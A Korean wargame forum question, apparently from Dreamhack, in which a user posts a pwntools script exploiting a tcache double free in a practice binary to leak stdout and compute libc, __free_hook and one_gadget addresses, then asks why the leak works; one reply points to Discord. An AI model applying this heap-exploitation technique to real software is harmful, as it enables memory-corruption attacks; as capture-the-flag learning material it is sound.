stdout leak

Name: tcache_poison.py

#!/usr/bin/python3
from pwn import *
p = process("./tcache_poison")
e = ELF("./tcache_poison")
libc = ELF("/lib/x86_64-linux-gnu/libc-2.27.so")
def slog(symbol, addr): return success(symbol + ": " + hex(addr))
def alloc(size, data):
p.sendlineafter("Edit\n", "1")
p.sendlineafter(":", str(size))
p.sendafter(":", data)
def free():
p.sendlineafter("Edit\n", "2")
def print_chunk():
p.sendlineafter("Edit\n", "3")
def edit(data):
p.sendlineafter("Edit\n", "4")
p.sendafter(":", data)
alloc(0x30, "dreamhack")
free()
edit("A"*8 + "\x00")
free()
addr_stdout = e.symbols["stdout"]
alloc(0x30, p64(addr_stdout))
alloc(0x30, "BBBBBBBB") # "dreamhack"
alloc(0x30, "\x60") # stdout
print_chunk()
p.recvuntil("Content: ")
stdout = u64(p.recv(6).ljust(8, b"\x00"))
lb = stdout - libc.symbols["IO_2_1_stdout"]
fh = lb + libc.symbols["__free_hook"]
og = lb + 0x4f432
slog("free_hook", fh)
slog("one_gadget", og)
여기서 stdout의 값을 보는
alloc(0x30, p64(addr_stdout))
alloc(0x30, "BBBBBBBB") # "dreamhack"
alloc(0x30, "\x60")
이 부분에서 이렇게 했을때 왜 stdout의 값을 볼수 있는지 궁금합니다!

#pwnable
작성자 정보
답변 1
avatar
wyv3rn
무플 방지 위원회장

tcache poisoning에 대해서 조금 더 이해하셔야될 것 같은데... 가능하시면 디스코드로 오세요! ㅎㅎ

2022.12.14. 20:23
질문에 대한 답을 알고 계신가요?
지식을 나누고 포인트를 획득해보세요.
답변하고 포인트 받기